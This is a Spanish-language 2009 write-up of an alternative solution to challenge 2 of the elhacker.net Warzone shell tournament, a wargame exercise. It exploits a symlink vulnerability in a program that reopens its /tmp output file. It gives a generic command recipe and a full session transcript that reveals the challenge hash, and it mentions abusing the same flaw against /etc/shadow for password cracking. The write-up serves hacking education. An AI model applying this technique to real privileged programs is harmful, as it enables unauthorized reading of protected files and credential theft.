

2º RETO METODO ALTERNO– TORNEO SHELL WARZONE

Seguidamente explicaremos una solución alterna al 2º reto planteado por los creadores del “Torneo Shell” de la Warzone ubicada en “elhacker.net”. La información que encontraréis a continuación se expone con un mero carácter educativo. Warzone, sus creadores y el autor de este documento no se hacen responsables del uso o abuso que se le pueda dar a la misma. ¡Disfruten del juego!

Existen 2 formas simples de pasar el reto, la primera es sobreescribiendo el apuntador al nombre del archivo de salida tal y como se explico en el documento anterior y la otra es usando un symbol link o (syslink), esta ultima es la unica que voy a mencionar como se hace ya que nadie la uso 100% simple, algunos usaron parte de las 2 formas combinadas, pero nadie uso exclusivamente el linksys solo.

Como se menciono en el documento anterior:

- Se cierran ambos ficheros de entrada y salida.
- Se vuelve a abrir el fichero de salida, pero esta vez en modo lectura para volcar su contenido en pantalla.

Si nos basamos en lo anterior podremos fijarnos que la primera vez que se abrio el archivo de salida fue con la opcion “a+”

```
tendout = fopen(endfile, "a+");
```

Lo cual nos indica que solo va agregar datos al final del archivo y no va a borrar cualquier contenido previo en el entonces esto en que nos ayuda, piensa, piensa, Claro.

Que pasaría si redireccionamos el archivo de salida al archivo que contiene nuestro hash desde el principio, eso es.

En windows lo mas parecido a esto son los clásicos archivos de acceso directo que tenemos en el escritorio, en sistemas tipo UNIX se llaman symbol link (linksys) que en español es Enlace Simbólico, los cuales nos ayudaran perfectamente para esta tarea.

Codigo generico

```
% cd /tmp  
% ln -s /path/to/hash/file output_UID  
% /path/to/syslinkbug  
% rm output_UID
```

El codigo anterior denota los sencillos pasos de forma generica a continuación esta el ejemplo para la prueba que se nos presenta.

Codigo Ejemplo de la prueba

```
C:/Users/LisaCuddy/Desktop>cd /tmp/
C:/Users/LisaCuddy/Desktop>ls -Gla
total 30
drwxrwxrwt  7 root  wheel  1024 Dec 16 09:35 .
drwxr-xr-x  21 root  wheel   512 Dec 16 07:06 ..

C:/Users/LisaCuddy/Desktop>printf "1\nEsto es una Prueba\n" > input_7001
C:/Users/LisaCuddy/Desktop>cat input_7001
1
Esto es una Prueba
C:/Users/LisaCuddy/Desktop>/usr/home/HoF/HoF

Cqrmcqs1_Npsc`_

C:/Users/LisaCuddy/Desktop>ls -Gla
total 34
drwxrwxrwt  7 root      wheel  1024 Dec 16 09:36 .
drwxr-xr-x  21 root      wheel   512 Dec 16 07:06 ..
-rw-----  1 LisaCuddy  wheel   21 Dec 16 09:36 input_7001
-rw-----  1 LisaCuddy  wheel   22 Dec 16 09:36 output_7001

C:/Users/LisaCuddy/Desktop>rm output_7001
C:/Users/LisaCuddy/Desktop>ln -s /usr/home/HoF/.pass/.leeme_7001 output_7001
C:/Users/LisaCuddy/Desktop>/usr/home/HoF/HoF
En hora buena usted a pasado la Segunda prueba
Su clave de Acceso es:
No olvide registrar su password en /usr/home/warzone/validar
esto es para que se le habran los nuevos retos!!
Ademas no olvide volver al shell con el que inicio la prueba ;) antes de ejecutar
validar.

Hash: ccd3ba4edae450e5fdb65f71352deae4

Cqrmcqs1_Npsc`_

C:/Users/LisaCuddy/Desktop>
```

Si el ejemplo anterior estuviera ejecutándose como administrador fácilmente podríamos agregar alguna linea al archivo /etc/shadow y al mismo tiempo visualizarlo para después proceder a realizar un ataque con john the ripper.

Este tipo de vulnerabilidad ha sido explotada durante mucho tiempo, sin embargo es muy poco comentada ya que muchas veces se da por obvia cuando en realidad muchos usuarios incluso usuarios avanzados no han oído de su forma de explotación.

© Copyleft 2009 everybody

Anon@elhacker.net

PGP Key ID:592F2029

Key fingerprint = 178D 0C89 E3B5 2965 6530 20CB 77DE B789 592F 2029